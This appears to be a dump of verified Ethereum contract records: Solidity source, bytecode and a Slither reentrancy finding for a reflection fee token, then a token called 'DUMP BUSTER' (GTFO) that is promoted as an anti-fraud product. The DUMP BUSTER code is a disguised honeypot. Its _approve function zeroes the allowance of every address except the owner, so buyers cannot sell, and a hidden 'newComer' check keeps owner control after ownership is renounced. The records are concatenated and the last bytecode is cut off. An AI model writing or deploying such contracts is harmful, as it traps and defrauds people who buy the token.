if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function Swap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function MaxTx(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80638da5cb5b116100f7578063b03fbfb611610095578063cf3bdd7211610064578063cf3bdd7214610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063b03fbfb6146104d0578063bfd79284146104f0578063c3c8cd8014610520578063c492f0461461053557600080fd5b806395d89b41116100d157806395d89b411461044057806398a5c31514610470578063a2a957bb14610490578063a9059cbb146104b057600080fd5b80638da5cb5b146103ec5780638f70ccf71461040a5780638f9a55c01461042a57600080fd5b8063313ce5671161016f57806370a082311161013e57806370a0823114610374578063715018a6146103945780637d1db4a5146103a95780637f2feddc146103bf57600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636fc3eaec1461035f57600080fd5b80631694505e116101ab5780631694505e1461027057806318160ddd146102a857806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024057600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195f565b6105fb565b005b34801561020a57600080fd5b50604080518082019091526007815266496e7554616d6160c81b60208201525b6040516102379190611a24565b60405180910390f35b34801561024c57600080fd5b5061026061025b366004611a79565b61069a565b6040519015158152602001610237565b34801561027c57600080fd5b50601454610290906001600160a01b031681565b6040516001600160a01b039091168152602001610237565b3480156102b457600080fd5b50670de0b6b3a76400005b604051908152602001610237565b3480156102d957600080fd5b506102606102e8366004611aa5565b6106b1565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610237565b34801561032b57600080fd5b50601554610290906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611ae6565b61071a565b34801561036b57600080fd5b506101fc610765565b34801561038057600080fd5b506102bf61038f366004611ae6565b6107b0565b3480156103a057600080fd5b506101fc6107d2565b3480156103b557600080fd5b506102bf60165481565b3480156103cb57600080fd5b506102bf6103da366004611ae6565b60116020526000908152604090205481565b3480156103f857600080fd5b506000546001600160a01b0316610290565b34801561041657600080fd5b506101fc610425366004611b13565b610846565b34801561043657600080fd5b506102bf60175481565b34801561044c57600080fd5b50604080518082019091526007815266494e5554414d4160c81b602082015261022a565b34801561047c57600080fd5b506101fc61048b366004611b2e565b61088e565b34801561049c57600080fd5b506101fc6104ab366004611b47565b6108bd565b3480156104bc57600080fd5b506102606104cb366004611a79565b6108fb565b3480156104dc57600080fd5b506101fc6104eb366004611b13565b610908565b3480156104fc57600080fd5b5061026061050b366004611ae6565b60106020526000908152604090205460ff1681565b34801561052c57600080fd5b506101fc610950565b34801561054157600080fd5b506101fc610550366004611b79565b6109a4565b34801561056157600080fd5b506101fc610570366004611b2e565b610a45565b34801561058157600080fd5b506102bf610590366004611bfd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611b2e565b610a74565b3480156105e757600080fd5b506101fc6105f6366004611ae6565b610aa3565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611c36565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611c6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611c97565b915050610631565b5050565b60006106a7338484610b8d565b5060015b92915050565b60006106be848484610cb1565b610710843361070b85604051806060016040528060288152602001611db1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ed565b610b8d565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611c36565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6012546001600160a01b0316336001600160a01b0316148061079a57506013546001600160a01b0316336001600160a01b0316145b6107a357600080fd5b476107ad81611227565b50565b6001600160a01b0381166000908152600260205260408120546106ab90611261565b6000546001600160a01b031633146107fc5760405162461bcd60e51b815260040161062590611c36565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108705760405162461bcd60e51b815260040161062590611c36565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611c36565b601855565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260040161062590611c36565b600893909355600a91909155600955600b55565b60006106a7338484610cb1565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161062590611c36565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316148061098557506013546001600160a01b0316336001600160a01b0316145b61098e57600080fd5b6000610999306107b0565b90506107ad816112e5565b6000546001600160a01b031633146109ce5760405162461bcd60e51b815260040161062590611c36565b60005b82811015610a3f5781600560008686858181106109f0576109f0611c6b565b9050602002016020810190610a059190611ae6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3781611c97565b9150506109d1565b50505050565b6000546001600160a01b03163314610a6f5760405162461bcd60e51b815260040161062590611c36565b601655565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062590611c36565b601755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062590611c36565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610e0557506000546001600160a01b03838116911614155b156110e657601554600160a01b900460ff16610e9e576000546001600160a01b03848116911614610e9e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b601654811115610ef05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3257506001600160a01b03821660009081526010602052604090205460ff16155b610f8a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b0383811691161461100f5760175481610fac846107b0565b610fb69190611cb2565b1061100f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b600061101a306107b0565b6018546016549192508210159082106110335760165491505b80801561104a5750601554600160a81b900460ff16155b801561106457506015546001600160a01b03868116911614155b80156110795750601554600160b01b900460ff165b801561109e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c357506001600160a01b03841660009081526005602052604090205460ff16155b156110e3576110d1826112e5565b4780156110e1576110e147611227565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112857506001600160a01b03831660009081526005602052604090205460ff165b8061115a57506015546001600160a01b0385811691161480159061115a57506015546001600160a01b03848116911614155b15611167575060006111e1565b6015546001600160a01b03858116911614801561119257506014546001600160a01b03848116911614155b156111a457600854600c55600954600d555b6015546001600160a01b0384811691161480156111cf57506014546001600160a01b03858116911614155b156111e157600a54600c55600b54600d555b610a3f8484848461146e565b600081848411156112115760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611cca565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156112c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b60006112d261149c565b90506112de83826114bf565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132d5761132d611c6b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138157600080fd5b505afa158015611395573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b99190611ce1565b816001815181106113cc576113cc611c6b565b6001600160a01b0392831660209182029290920101526014546113f29130911684610b8d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142b908590600090869030904290600401611cfe565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147b5761147b611501565b61148684848461152f565b80610a3f57610a3f600e54600c55600f54600d55565b60008060006114a9611626565b90925090506114b882826114bf565b9250505090565b60006112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611666565b600c541580156115115750600d54155b1561151857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154187611694565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157390876116f1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a29086611733565b6001600160a01b0389166000908152600260205260409020556115c481611792565b6115ce84836117dc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161391815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164182826114bf565b82101561165d57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116875760405162461bcd60e51b81526004016106259190611a24565b50600061121e8486611d6f565b60008060008060008060008060006116b18a600c54600d54611800565b92509250925060006116c161149c565b905060008060006116d48e878787611855565b919e509c509a509598509396509194505050505091939550919395565b60006112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ed565b6000806117408385611cb2565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b600061179c61149c565b905060006117aa83836118a5565b306000908152600260205260409020549091506117c79082611733565b30600090815260026020526040902055505050565b6006546117e990836116f1565b6006556007546117f99082611733565b6007555050565b600080808061181a606461181489896118a5565b906114bf565b9050600061182d60646118148a896118a5565b905060006118458261183f8b866116f1565b906116f1565b9992985090965090945050505050565b600080808061186488866118a5565b9050600061187288876118a5565b9050600061188088886118a5565b905060006118928261183f86866116f1565b939b939a50919850919650505050505050565b6000826118b4575060006106ab565b60006118c08385611d91565b9050826118cd8583611d6f565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ad57600080fd5b803561195a8161193a565b919050565b6000602080838503121561197257600080fd5b823567ffffffffffffffff8082111561198a57600080fd5b818501915085601f83011261199e57600080fd5b8135818111156119b0576119b0611924565b8060051b604051601f19603f830116810181811085821117156119d5576119d5611924565b6040529182528482019250838101850191888311156119f357600080fd5b938501935b82851015611a1857611a098561194f565b845293850193928501926119f8565b98975050505050505050565b600060208083528351808285015260005b81811015611a5157858101830151858201604001528201611a35565b81811115611a63576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8c57600080fd5b8235611a978161193a565b946020939093013593505050565b600080600060608486031215611aba57600080fd5b8335611ac58161193a565b92506020840135611ad58161193a565b929592945050506040919091013590565b600060208284031215611af857600080fd5b81356112de8161193a565b8035801515811461195a57600080fd5b600060208284031215611b2557600080fd5b6112de82611b03565b600060208284031215611b4057600080fd5b5035919050565b60008060008060808587031215611b5d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8e57600080fd5b833567ffffffffffffffff80821115611ba657600080fd5b818601915086601f830112611bba57600080fd5b813581811115611bc957600080fd5b8760208260051b8501011115611bde57600080fd5b602092830195509350611bf49186019050611b03565b90509250925092565b60008060408385031215611c1057600080fd5b8235611c1b8161193a565b91506020830135611c2b8161193a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cab57611cab611c81565b5060010190565b60008219821115611cc557611cc5611c81565b500190565b600082821015611cdc57611cdc611c81565b500390565b600060208284031215611cf357600080fd5b81516112de8161193a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4e5784516001600160a01b031683529383019391830191600101611d29565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dab57611dab611c81565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e55727c32ae2fc720c055be94d8121ae0eacd7ad3bac94b03103007df60e962964736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,214 |
0x373f29cd9343b0dfe01381494d41614a3de5f332
|
/**
*Submitted for verification at Etherscan.io on 2021-11-16
*/
/*
👋 DAY-1 PRODUCT SPEC + ROADMAP
Thank you all for your patience and continued support. We're really proud we can say that we are launching with as much functionality and efficiency as we are. A key factor in a token's cost to transact, regardless of where gas is at in a given moment, is how long it takes to execute. The more blockchain resources you utilize per second, the more expensive it will be. This is who complex token with dividends or reflections often times cost $100-200 in gas when other tokens swapping at the same Gwei transact at half that.
For as big a task as we have in combatting fraud, achieving it at efficiency that make it financially viable to transact our token even for people with only a few hundred or thousand to commit to it. Hats off to the devs on this achievement.
Without further ado (adieu?) -- here's what we're lainching day-1 at a minimum:
LAUNCH CAPABILITIES:
- Customizable blacklisting. Partners can subscribe to chain-wide lists in different categories (bots, snipers, rug pullers, etc).
- Deep-wallet trackbacking. We make it easy to look any number of degrees deep in a chain of associations and seamlessly blacklist them all. Scammers get creative with muddying transactions to hide illicit activity. DumpBuster decodes it so you don't have to.
- Irregularity tracking and Aerts. We're developing off-chain resoures that monitor and are real good at sensing inauthentic or anomalous actibities on the chain, and in your specific asset's trade book. We'll stay on guard and escalate to your attention any activity that falls outside of expected laws of large numbers with insights so you can make your own decisions for what is best for your project and community.
- Anti-Bot & Anti-Snipe Capabilities. Out-of-the-box. We're confident we have the most sophisticated tiered, layered solution for the dreaded launch snipers, bots, and supply hoarders. If you want to set initial buy and transaction limitations as many projects do, we'll make sure those rules are enforced regardless of how creative and covert a corruptive entity may try and be.
- One-Directional Call Stack. It's ciritcal for security that no centralized system or API has control over an ecosystem of tokens. Because if that system were ever compromised, the integrity of all our ecosystem projects would also be compromised. **This is not remotely a plausible risk with DumpBuster.** All transaction processing/enforcement remains inside your token's contract. We cannot call, control, or remotely access your contract -- ever.
- Flexible and Managed Tax Assessment. One of the most revolutionary innovations to crypto tokenimics is the way in which our fees are assessed. 1.9% of your token's transactions are swapped for $GTFO tokens instead of taken off the table, and those $GTFO token are locked for a period of 90 days. After which, you can do with them what you wish as project deployers. You can just swap them back to recover your tax, even plus gains! This is the service that pays YOU to use it. A common question we get form project deployers is how that assessment takes place. Rest assured it is flexible, gas-conscious, and doesn't create more overhead to you or your staff. Reach out to [email protected] if you'd like to discuss possible partnership!
** While automated and artificial intelligent systems are and will continue to be a major priority for our team and at the core of the technology we develop, we want to stress that for launch, there will always be a human element involved in every step of the process to guarantee no systemic false-positives occur.ofit taking. Projects decide their own tolerances
Invite Link: t.me/DumpBuster
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract DUMPBUSTER is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 10000* 10**9* 10**18;
string private _name = ' DUMP BUSTER ';
string private _symbol = 'GTFO';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ff